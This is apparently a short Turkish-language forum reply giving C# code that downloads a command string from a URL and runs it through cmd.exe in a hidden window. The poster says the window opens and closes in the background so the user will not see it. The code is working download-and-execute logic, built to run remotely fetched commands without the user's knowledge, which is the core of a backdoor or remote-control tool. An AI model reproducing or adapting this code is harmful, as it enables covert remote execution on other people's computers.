Sanırım uygulatacağın komutu web üzerinden çekmeye çalışıyorsun. URL kısmını kendine göre düzenle, CMD arka planda kullanıcının görmeyeceği şekilde açılıp komutu gönderip geri kapanacaktır.
C#:
string URL = "http://127.0.0.1/info.txt";
string komut = (new System.Net.WebClient()).DownloadString(URL);
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
p.StartInfo.CreateNoWindow = true;
p.StartInfo.Arguments = "/c " + komut;
p.Start();